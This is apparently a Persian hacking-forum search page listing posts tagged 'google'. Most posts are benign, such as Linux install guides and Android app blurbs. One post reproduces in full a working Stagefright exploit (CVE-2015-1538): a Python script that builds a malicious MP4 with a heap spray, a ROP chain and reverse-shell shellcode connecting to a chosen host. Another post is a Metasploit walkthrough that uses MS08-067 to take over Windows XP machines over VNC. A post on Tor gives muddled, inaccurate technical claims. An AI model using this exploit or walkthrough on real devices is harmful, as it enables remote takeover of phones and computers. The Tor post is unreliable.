امکانات انجمن
  • مهمانان محترم می توانند بدون عضویت در سایت در بخش پرسش و پاسخ به بحث و گفتگو پرداخته و در صورت وجود مشکل یا سوال در انجمنن مربوطه موضوع خود را مطرح کنند

moharram

iran rules jazbe modir
snapphost mahak

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'google'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • انجمن های اصلی تیم
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • پروژه های تیم
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های آسیب پذیری
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

37 نتیجه پیدا شد

  1. Linux

    برای نصب ماژول Google Page Speed در وب سرور Nginx حتما باید در هنگام کامپایل Nginx از سورس به صورت یک ماژول اضافه آن را به وب سرور معرفی کنید *: ابتدا به نصب پیش نیاز های لینوکس می پردازیم : در نسخه های RHEL مانند CentOS : sudo yum install gcc-c++ pcre-dev pcre-devel zlib-devel make در نسخه های بر پایه Debian و Ubuntu : sudo apt-get install build-essential zlib1g-dev libpcre3 libpcre3-dev آخرین نسخه ماژول Google Pagespeed طراحی شده برای Nginx را دانلود میکنیم : cd /root wget https://github.com/pagespeed/ngx_pagespeed/archive/master.zip unzip master.zip cd ngx_pagespeed-master حالا آخرین نسخه Page Speed را از سایت گوگل دانلود کرده و داخل پوشه nginx pagespeed module اکسترکت میکنیم : wget https://dl.google.com/dl/page-speed/psol/1.7.30.3.tar.gz tar -xzvf 1.7.30.3.tar.gz حالا مجددا به root بر میگردیم و سورس نسخه مورد نظر Nginx را دانلود میکنیم : cd /root wget http://nginx.org/download/nginx-1.4.4.tar.gz tar -xzf nginx-1.4.4.tar.gz cd nginx-1.4.4 و در آخر اقدام به کامپایل وب سرور Nginx از سورس میکنیم . با این فرق که علاوه بر ماژول های مورد نظر ، مازول nginx page speed را هم با کمک دستور configure به سورس اضافه میکنیم : ./configure –add-module=/root/ps/ngx_pagespeed-master/ make make install نحوه استفاده از ماژول ngx_pagespeed در nginx : کانفیگ وب سرور nginx برای استفاده از googlepagespeed کار سختی نیست . برای استفاده از pagespeed در nginx کافی است تا مطابق دستورات زیر عمل کنید : دو خط زیر را در فایل nginx.conf و داخل بلاک http اضافه کنید : pagespeed on; pagespeed FileCachePath /var/ngx_pagespeed_cache; حالا در بلاک های مربوط به هر دامنه خطوط زیر را اضافه کنید : location ~ “\.pagespeed\.([a-z]\.)?[a-z]{2}\.[^.]{10}\.[^.]+” { add_header “” “”; } location ~ “^/ngx_pagespeed_static/” { } location ~ “^/ngx_pagespeed_beacon$” { } location /ngx_pagespeed_statistics { allow 127.0.0.1; deny all; } location /ngx_pagespeed_global_statistics { allow 127.0.0.1; deny all; } location /ngx_pagespeed_message { allow 127.0.0.1; deny all; } location /pagespeed_console { allow 127.0.0.1; deny all; } و درانتها وب سرور Nginx را ریستارت کنید : nginx -t service nginx restart
  2. Linux

    یکی از مورد نیاز ترین ابزار سیستم عامل ها ماشین حساب است اگر شما یک توضیعی برپایه دبیان ساخته اید میتوانید با دستور زیر ماشین حساب gnome را نصب و راه اندازی کنید و در سیستم عاملتان قرار دهید sudo snap install gnome-calculator عکس ماشین حساب
  3. Linux

    ابتدا لینوکس centos را باز کنید و ترمینال را اجرا کنید دستور زیرا بنویسید wget https://repo.mysql.com//mysql57-community-release-el7-11.noarch.rpm با دستور بالا شروع به دانلود فایل های مربوط به mysql میشود با دستور زیر اقدام به نصب mysql میکنیم sudo rpm -ivh mysql57-community-release-el7-11.noarch.rpm الان با دستور زیر mysql روی centos به صورت کامل نصب میکنیم sudo yum install mysql-server خب شما تواسنتید mysql روی سیستم خود نصب کنید الان اجرا میکنیم sudo systemctl start mysqld با این دستور mysql در سیستم شما اجرا خواهد شد برای تغییر کانفیگ mysql از دستور زیر استفاده کنید sudo mysql_secure_installation و برای تست mysql هم از دستور زیر استفاده کنید mysqladmin -u root -p version با این دستور هم mysql را تست میکنیم امید وارم خوشتون امده باشد .
  4. #!/usr/bin/env python # Joshua J. Drake (@jduck) of ZIMPERIUM zLabs # Shout outs to our friends at Optiv (formerly Accuvant Labs) # (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015 # www.zimperium.com # # Exploit for RCE Vulnerability CVE-2015-1538 #1 # Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling # # Don’t forget, the output of “create_mp4” can be delivered many ways! # MMS is the most dangerous attack vector, but not the only one… # # DISCLAIMER: This exploit is for testing and educational purposes only. Any # other usage for this code is not allowed. Use at your own risk. # # “With great power comes great responsibility.” – Uncle Ben # import struct import socket # # Creates a single MP4 atom – LEN, TAG, DATA # def make_chunk(tag, data): if len(tag) != 4: raise ‘Yo! They call it “FourCC” for a reason.’ ret = struct.pack(‘>L’, len(data) + 8) ret += tag ret += data return ret # # Make an ‘stco’ atom – Sample Table Chunk Offets # def make_stco(extra=”): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mNumChunkOffsets return make_chunk(‘stco’, ret+extra) # # Make an ‘stsz’ atom – Sample Table Size # def make_stsz(extra=”): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mDefaultSampleSize ret += struct.pack(‘>L’, 0) # mNumSampleSizes return make_chunk(‘stsz’, ret+extra) # # Make an ‘stts’ atom – Sample Table Time-to-Sample # def make_stts(): ret = struct.pack(‘>L’, 0) # version ret += struct.pack(‘>L’, 0) # mTimeToSampleCount return make_chunk(‘stts’, ret) # # This creates a single Sample Table Sample-to-Chunk entry # def make_stsc_entry(start, per, desc): ret = ” ret += struct.pack(‘>L’, start + 1) ret += struct.pack(‘>L’, per) ret += struct.pack(‘>L’, desc) return ret # # Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk # # If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and # cause a heap overflow. # def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False): ret = struct.pack(‘>L’, 0) # version/flags # this is the clean version… if not do_overflow: ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets ret += ‘Z’ * (12 * num_alloc) return make_chunk(‘stsc’, ret) # now the explicit version. (trigger the bug) ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets # fill in the entries that will overflow the buffer for x in range(0, num_write): ret += make_stsc_entry(sp_addr, sp_addr, sp_addr) ret = make_chunk(‘stsc’, ret) # patch the data_size ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:] return ret # # Build the ROP chain # # ROP pivot by Georg Wicherski! Thanks! # “”” (gdb) x/10i __dl_restore_core_regs 0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34 0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5} 0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5} 0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11} 0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc} “”” “”” b0001144 <__dl_mprotect>: b0001144: e92d0090 push {r4, r7} b0001148: e3a0707d mov r7, #125 ; 0x7d b000114c: ef000000 svc 0x00000000 b0001150: e8bd0090 pop {r4, r7} b0001154: e1b00000 movs r0, r0 b0001158: 512fff1e bxpl lr b000115c: ea0015cc b b0006894 <__dl_raise+0x10> “”” def build_rop(off, sp_addr, newpc_val, cb_host, cb_port): rop = ” rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc} rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc} rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned) rop += struct.pack(‘<L’, 0x1000) # new r1 – length rop += struct.pack(‘<L’, 7) # new r2 – protection rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect native_start = sp_addr + 0x80 rop += struct.pack(‘<L’, native_start) # address of native payload #rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack… # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit) buf = ” # fork buf += ‘\x02\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # continue if not parent… buf += ‘\x00\x00\x50\xe3’ buf += ‘\x02\x00\x00\x0a’ # exit parent buf += ‘\x00\x00\xa0\xe3’ buf += ‘\x01\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # setsid in child buf += ‘\x42\x70\xa0\xe3’ buf += ‘\x00\x00\x00\xef’ # socket/connect/dup2/dup2/dup2 buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’ buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’ buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’ buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’ buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’ buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’ buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’ buf += ‘\xe3\x00\x00\x00\xef’ # execve(shell, argv, env) buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’ buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’ buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’ buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’ buf += ‘\xef\x02\x00’ # Add the connect back host/port buf += struct.pack(‘!H’, cb_port) cb_host = socket.inet_aton(cb_host) buf += struct.pack(‘=4s’, cb_host) # shell – buf += ‘/system/bin/sh\x00\x00’ # argv – buf += ‘sh\x00\x00’ # env – buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’ # Add some identifiable stuff, just in case something goes awry… rop_start_off = 0x34 x = rop_start_off + len(rop) while len(rop) < 0x80 – rop_start_off: rop += struct.pack(‘<L’, 0xf0f00000+x) x += 4 # Add the native payload… rop += buf return rop # # Build an mp4 that exploits CVE-2015-1538 #1 # # We mimic meow.3gp here… # def create_mp4(sp_addr, newpc_val, cb_host, cb_port): chunks = [] # Build the MP4 header… ftyp = ‘mp42’ ftyp += struct.pack(‘>L’, 0) ftyp += ‘mp42’ ftyp += ‘isom’ chunks.append(make_chunk(‘ftyp’, ftyp)) # Note, this causes a few allocations… moov_data = ” moov_data += make_chunk(‘mvhd’, struct.pack(‘>LL’, 0, 0x41414141) + (‘B’ * 0x5c) ) # Add a minimal, verified trak to satisfy mLastTrack being set moov_data += make_chunk(‘trak’, make_chunk(‘stbl’, make_stsc(0x28, 0x28) + make_stco() + make_stsz() + make_stts() )) # Spray the heap using a large tx3g chunk (can contain binary data!) “”” 0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs 0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0 0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1 0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4 0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement 0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1 0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42> 0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase 0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr 0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address 0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6 0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it! “”” page = ” off = 0 # the offset to the next object off += 8 page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource) page += struct.pack(‘<L’, sp_addr + off) # mRefs off += 16 page += struct.pack(‘<L’, 1) # mStrong page += struct.pack(‘<L’, 0xc0dedbad) # mWeak page += struct.pack(‘<L’, sp_addr + off) # mBase page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK) off += 8 page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused) off += 16 page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0 page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4 page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8 page += struct.pack(‘<L’, newpc_val) # vtable entry 12 rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port) x = len(page) while len(page) < 4096: page += struct.pack(‘<L’, 0xf0f00000+x) x += 4 off = 0x34 page = page[:off] + rop + page[off+len(rop):] spray = page * (((2*1024*1024) / len(page)) – 20) moov_data += make_chunk(‘tx3g’, spray) block = ‘A’ * 0x1c bigger = ‘B’ * 0x40 udta = make_chunk(‘udta’, make_chunk(‘meta’, struct.pack(‘>L’, 0) + make_chunk(‘ilst’, make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) + make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) + make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) + make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 + make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) + make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) + make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 + make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) + make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) + make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger))) ) ) moov_data += udta # Make the nasty trak tkhd1 = ”.join([ ‘\x00’, # version ‘D’ * 3, # padding ‘E’ * (5*4), # {c,m}time, id, ??, duration ‘F’ * 0x10, # ?? struct.pack(‘>LLLLLL’, 0x10000, # a00 0, # a01 0, # dx 0, # a10 0x10000, # a11 0), # dy ‘G’ * 0x14 ]) trak1 = ” trak1 += make_chunk(‘tkhd’, tkhd1) mdhd1 = ”.join([ ‘\x00’, # version ‘D’ * 0x17, # padding ]) mdia1 = ” mdia1 += make_chunk(‘mdhd’, mdhd1) mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a) dinf1 = ” dinf1 += make_chunk(‘dref’, ‘H’ * 0x14) minf1 = ” minf1 += make_chunk(‘smhd’, ‘G’ * 0x08) minf1 += make_chunk(‘dinf’, dinf1) # Build the nasty sample table to trigger the vulnerability here. stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER # Add the stbl to the minf chunk minf1 += make_chunk(‘stbl’, stbl1) # Add the minf to the mdia chunk mdia1 += make_chunk(‘minf’, minf1) # Add the mdia to the track trak1 += make_chunk(‘mdia’, mdia1) # Add the nasty track to the moov data moov_data += make_chunk(‘trak’, trak1) # Finalize the moov chunk moov = make_chunk(‘moov’, moov_data) chunks.append(moov) # Combine outer chunks together and voila. data = ”.join(chunks) return data if __name__ == ‘__main__’: import sys import mp4 import argparse def write_file(path, content): with open(path, ‘wb’) as f: f.write(content) def addr(sval): if sval.startswith(‘0x’): return int(sval, 16) return int(sval) # The address of a fake StrongPointer object (sprayed) sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts) # The address to of our ROP pivot newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs # Allow the user to override parameters parser = argparse.ArgumentParser() parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’) parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345) parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None) parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None) parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’) args = parser.parse_args() if len(sys.argv) == 1: parser.print_help() sys.exit(–1) if args.spray_addr == None: args.spray_addr = sp_addr if args.rop_pivot == None: args.rop_pivot = newpc_val # Build the MP4 file… data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport) print(‘[*] Saving crafted MP4 to %s …’ % args.output_file) write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf
  5. برنامه نویسی براي گوشی هاي اندروید دو شیوه است : شیوه اول برنامه نویسی Native اندروید است. با استفاده از زبان جاوا براي اندروید برنامه مینویسید.در فصول اول و دوم و سوم مبانی ابتدایی و اولیه برنامه نویسی به این روش را توضیح داده ام.اگر دوست دارید فقط براي اندروید برنامه بنویسید و به تمام ویژگی هاي سخت افزاري گوشی اندروید دسترسی داشته باشید از این روش استفاده کنید و فقط این فصول را براي آشنایی اولیه بخوانید.و بعد سراغ کتاب هاي متوسط و پیشرفته بروید. شیوه دوم برنامه نویسی براي اندروید اصطلاحاً Application Web Mobile است که از فصل چهارم به بعد به این شیوه پرداختم.تسلط من روي این شیوه است.و مزیت این شیوه برنامه نویسی Platform Cross است.شما با یک بار کدنویسی میتوانید برنامه خود را بر روي اندروید و iOS و windows phone اجرا کنید.اما عیب این روش این است که برنامه شما به تمامی ویژگی هاي سخت افزاري گوشی دسترسی ندارد و این سبک براي نوشتن برنامه هاي سیستمی که خیلی با سخت افزار در ارتباط است اصلا مناسب نیست.ولی براي برنامه هاي کاربردي مناسب است.
  6. Miscellaneous

    با سلام به دوستان عزیز با اموزش ساخت گیف با فتوشاپ همراه شما هستیم لینک دانلود ویدیو : دانلود ویدیو اگر مشکلی داشت در faq مطرح نمایید :) رمز : anonysec
  7. Soft-Android

    با استفاده از برنامه Google Home میتوانید Chromecast، Google Home و سایر سخنرانان دستیار را تنظیم و کنترل کنید. * كشف كردن با استفاده از آخرین ویژگی ها، راهنمایی ها و پیشنهادات بیشترین استفاده را از دستگاه های خود داشته باشید. مرور کردن یک مکان برای مرور و پخش موسیقی در دسترس، نمایش های تلویزیونی و فیلم ها از خدماتی که دوست دارید. کنترل مکث، پخش یا تغییر حجم ویدئو یا جریان های صوتی خود را. تنظیمات Google Home و Speaker تنظیمات کنترل مانند پخش کننده پیش فرض موسیقی یا مکان خود را، و دستگاه های سازگار مانند چراغ های هوشمند، ترموستات ها و دستگاه های Chromecast را پیوند دهید. ایجاد گروه های بلندگو با دستگاه های سازگار و لذت بردن از پخش موسیقی در خانه خود. تنظیمات Chromecast صفحه نمایش تلویزیون خود را با تصاویر زیبا سفارشی کنید. کنترل تنظیمات مانند نام دستگاه شما، و کشف برنامه ها، پیشنهادات و محتوا. * برخی از ویژگی ها ممکن است در همه مناطق موجود نباشد لینک دانلود : Google Home - Apps on Google Play
  8. Soft-Android

    با استفاده از برنامه Google Sheets، ایجاد، ویرایش و همکاری با دیگران در صفحات گسترده از تلفن یا رایانه لوحی Android خود. با ورق، شما می توانید: - ایجاد صفحات گسترده جدید یا ویرایش فایل های موجود - به اشتراک گذاشتن صفحات گسترده و همگام سازی در همان صفحه گسترده در همان زمان. - کار در هر کجا، در هر زمان - حتی در حالت آفلاین - اضافه کردن و پاسخ به نظرات - قالب بندی سلول ها، وارد یا مرتب سازی داده ها، نمایش نمودار ها، وارد کردن فرمول ها، استفاده از پیدا کردن / جایگزینی و غیره. - نگران نباشید در مورد از دست دادن کار خود - همه چیز به طور خودکار ذخیره می شود که شما تایپ کنید. - بفهمید، فورا، بلافاصله نمودارها را وارد کنید و قالب بندی را در یک شیر اجرا کنید - با کاوش. - باز کردن، ویرایش و ذخیره فایل های اکسل. اطلاعیه مجوز مخاطبین: این برای ارائه پیشنهادات مردم برای اضافه کردن به فایل ها و به اشتراک گذاری با استفاده می شود. ذخیره سازی: برای ذخیره و باز کردن فایل ها بر روی حافظه USB یا SD استفاده می شود. لینک دانلود : Google Sheets - Apps on Google Play
  9. Soft-Android

    برنامه رسمی گوگل تقویم را برای گوشی و رایانه لوحی Android خود دریافت کنید تا زمان صرفه جویی کنید و از هر روز بیشترین استفاده را ببرید. • روش های مختلف برای مشاهده تقویم خود - به سرعت بین نمایش ماه، هفته و روز تغییر دهید. • رویدادهای Gmail - پرواز، هتل، کنسرت، رزرو رستوران و موارد دیگر به تقویم شما به صورت خودکار اضافه می شوند. • To-dos - از یادآوری ها برای ایجاد و مشاهده در کنار رویدادهای خود استفاده کنید. • اهداف - اضافه کردن اهداف شخصی مانند "اجرا 3 بار در هفته" - و تقویم زمان خود را برای آنها به طور خودکار برنامه ریزی. • ایجاد رویداد سریع - پیشنهادات هوشمند برای عناوین رویداد، مکان ها و مردم زمان شما را در هنگام ایجاد رویدادها صرفه جویی می کند. • تمام تقویم های خود را در یک مکان - تقویم گوگل با تمام تقویم بر روی گوشی شما کار می کند، از جمله Exchange. لینک دانلود : Google Calendar - Apps on Google Play
  10. Soft-Android

    ایجاد، ویرایش و همکاری با دیگران در اسناد از تلفن یا رایانه لوحی Android خود با برنامه Google Docs. با استفاده از Docs شما می توانید: - ایجاد اسناد جدید یا ویرایش فایل های موجود - به اشتراک گذاشتن اسناد و همکاری در همان سند در همان زمان. - کار در هر کجا، در هر زمان - حتی در حالت آفلاین - اضافه کردن و پاسخ به نظرات - نگران نباشید در مورد از دست دادن کار خود - همه چیز به طور خودکار ذخیره می شود که شما تایپ کنید. - تحقیق، درست در Docs Explore - باز کردن، ویرایش و ذخیره اسناد ورد اطلاعیه مجوز مخاطبین: این برای ارائه پیشنهادات مردم برای اضافه کردن به فایل ها و به اشتراک گذاری با استفاده می شود. ذخیره سازی: برای ذخیره و باز کردن فایل ها بر روی حافظه USB یا SD استفاده می شود لینک دانلود : Google Docs - Apps on Google Play
  11. Soft-Android

    Google Duo برنامه بالاترین کیفیت برنامه تماس ویدیویی * است. این ساده، قابل اعتماد است و بر روی گوشی های هوشمند و رایانه های لوحی کار می کند. امکانات: رابط کاربری ساده یکی از عزیزان را انتخاب کنید و به سمت راست بروید، با یک رابط ساده که باعث می شود تماس های ویدیویی به آسانی به عنوان یک ضربه بزنید. بالاترین کیفیت برنامه تماس تصویری * تجربه های ویدئویی قابل اطمینان را با کیفیت عالی ویدیو تجربه کنید که آیا شما در Wi-Fi هستید و یا در حال حرکت هستید. برای دستگاه های آندروید و iOS Duo در گوشی های هوشمند و رایانه های لوحی آندروید و iOS کار می کند، بنابراین شما می توانید با دوستان و خانواده نزدیک خود با استفاده از تنها یک برنامه تماس بگیرید. تق تق قبل از اینکه یک پیش نمایش ویدئویی زنده را انتخاب کنید، با کسی تماس بگیرید. پیام های ویدیویی دوست نمی تواند به شما پاسخ دهد؟ بدون مشکل آنها را یک پیام ویدئویی برای آنها بگذارید تا با شما تماس بگیرند. با یک پیام ویدئویی، هنوز می توانید همه چیز را در مورد لحظه ای که می خواهید برای به اشتراک گذاشتن، ضبط کنید. تماسهای صوتی هنگامی که شما نمیتوانید در مورد ویدیو صحبت کنید، تماسهای تلفنی فقط به دوستانتان بدهید. * بر اساس تحقیقات فنی سیگنال تحقیقاتی در مقایسه با زمان تخریب ویدئو بیش از 3G، LTE، و WiFi. ** اتهامات داده ممکن است اعمال شود برای جزئیات بیشتر حامل خود را بررسی کنید. لینک دانلود : Google Duo - High Quality Video Calls - Apps on Google Play
  12. Miscellaneous

    شاید به ذهنتون برسه که ما چگونه با tor browser میتونیم به سایت های .onion متصل بشیم ولی با فایرفاکس و... نمیتوانیم شما یک کره ی زمین فرض کنین به سه قسمت تقسیم کنید قسمت اول همین گوگل , بینگ , یاهو هست و... که قانونیه فقط به دامنه های .com / .org / .net و.. میره خب قسمت دوم دارک وب همین .onion و قسمت سوم deep web این قسمت هم قسمتی از دارک وب و دامین هایش .onion هیچ فرقی نمیکنه خب. وقتی ما تور را فعال میکنیم مثل این که به 3 تا سیستم در 3 کشور مختلف وصل میشیم تا ip ما هی عوض شود شما میتونید در فایر فاکس 100 تا پروکسی وصل کنید به دارک وب بروید تور باعث تغیر مک ایپی , ایپی میشه تور هر دقیقه به 3 سیستم در کشور های مختلف وصل میشود به اون علت نمیتونن ایپی وبسایت یا ایپی سایلنت را پیدا کنند مثلا الان شما به دامنه های .onion دیداس بزنید میبیند هر دقیقه ip تغیر میکنه خب مکانیزمای تور هم همینه تغیر ایپی و تغیر مک ایپی برنامه های زیادی هست برای مک ایپی هنوز بگذریم این باعث میشه به دارک وب رفت شاید بگید چرا دامنه های .onion نمیشه رفت این دامنه ها توسط دولت ها ف/ی/ل/ت/ر شده و غیر قابل رفتن به انها با مرورگر های خانگی هست برای رفتم باید حدود 5 یا 6 تا فیلترشکن یا پروکسی وصل کرد معمولا در این دامنه ها افراد غیر اخلاقی یا خلاف کار هست به اون علت این دامنه ها در کل جهان مسدود هست ولی اگه ip ها زود زود چنج شود نمیتواند مرورگر بررسی کند و باعث دور زدن مسدودیت میشود. هکر ها معمولا برای شناسایی نشدن ایپی از این روش استفاده میکنند یا tor service را در سیستمشان فعال میکنند . توضیح دقیق در تصویر
  13. سلام در این تاپیک انواع دورک قرار داده میشه از اسپم دادن خودداری کنید در صورت مشاهده با فرد برخورد میگردد... با تشکر موفق باشید.
  14. با عرض سلام به کاربران عزیز انونیسک در این اموزش قصت دارم برایتان اموزش هک سیستم های دارای ویندوز xp و ریموت دسکتاپ شدن به ان را برای شما یاد دهم . ابتدا ترمینال کالی لینوکس را باز کنید و در داخلش دستور msfconsole را تایپ کنید تا ابزار metasploit باز شود . بعد دستور زیر را تایپ کنید . use exploit/windows/smb/ms08_067_netapi خب با این دستور اکسپلوییت مورد نظر را انتخواب میکنیم . الان سراغ تنظیم rhost یا تارگت میکنیم . خب الان دستور show options را بنویسید . خب الان بنویسید set RHOST 1.1.1.1.1 به جا 1.1.1.1.1 ایپی تارگت را وارد کنید . خب الان باز show options را بنویسید تا ببینید که ایا تارگت تنظیم شده است یا نه . خب الان یک payload را انتخواب میکنیم تا وقتی نفوذ به سیستم شد برای ما با vnc اجرا نماید خب با دستور زیر payload را انتخواب میکنیم . set PAYLOAD windows/vncinject/bind_tcp خب payload انتخواب شد الان باز show options را تایپ کنید تا ببینید RHOST تغیر نکرده اگر کرده باز set RHOST TAGERT IP تنظیم کنید بعد دستور exploit را وارد کنید و صبر کنید تا به سرور یا سیستم تارگت متصل شود . خب اگر متصل شد شما میبینید که دسکتاپ ویندوز xp به شما باز میشود . امید وارم خوشتان امده باشد
  15. Miscellaneous

